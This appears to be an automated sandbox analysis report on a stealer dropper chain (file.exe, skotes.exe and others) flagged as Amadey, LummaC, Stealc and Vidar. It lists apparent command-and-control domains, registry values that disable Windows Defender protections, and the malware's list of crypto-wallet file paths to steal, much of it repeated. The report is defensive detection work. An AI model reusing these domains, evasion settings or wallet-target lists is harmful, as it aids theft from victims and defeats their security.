Source: 28d9ab8742.exe, 0000001A.00000002.3027529258.0000000000D61000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: thumbystriw.store
Source: 28d9ab8742.exe, 0000001A.00000002.3027529258.0000000000D61000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: fadehairucw.store
Source: 28d9ab8742.exe, 0000001A.00000002.3027529258.0000000000D61000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: crisiwarny.store
Source: 28d9ab8742.exe, 0000001A.00000002.3027529258.0000000000D61000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: presticitpo.store

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsECBGHCGCBK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsECBGHCGCBK.exe "C:\Users\user\DocumentsECBGHCGCBK.exe"
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe "C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe "C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe "C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CD04760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CD04760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBE1C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6CBE1C30

Source: file.exe	Binary or memory string: wProgram Manager
Source: file.exe, 00000000.00000002.2489783682.000000000057B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: wProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB0B341 cpuid

0_2_6CB0B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAD35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CAD35A0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC08390 NSS_GetVersion,

0_2_6CC08390

Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 23.2.skotes.exe.40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.DocumentsECBGHCGCBK.exe.460000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.2554745091.0000000000041000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2524957576.0000000000461000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 28d9ab8742.exe PID: 4068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 28d9ab8742.exe PID: 7408, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000021.00000003.2999328469.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.3247798892.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3090234093.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2881702630.0000000000911000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2841341620.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.3026569663.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2122615907.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.3031855893.0000000005E01000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2882880413.000000000146E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3087960505.0000000000911000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2492153777.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3289871087.000000000153B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2983198162.0000000008270000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2489334528.00000000001A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3288030820.0000000000911000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 28d9ab8742.exe PID: 4068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3daf81f16e.exe PID: 2724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3daf81f16e.exe PID: 9140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3daf81f16e.exe PID: 6076, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 28d9ab8742.exe PID: 4068, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2489334528.0000000000307000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2489334528.0000000000224000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2489334528.0000000000307000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2489334528.0000000000224000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.2489334528.0000000000307000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2489334528.0000000000307000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2489334528.0000000000224000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2489334528.0000000000224000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2489334528.0000000000307000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2489334528.0000000000224000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2489334528.0000000000307000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2489334528.0000000000307000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2489334528.0000000000224000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2489334528.0000000000224000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
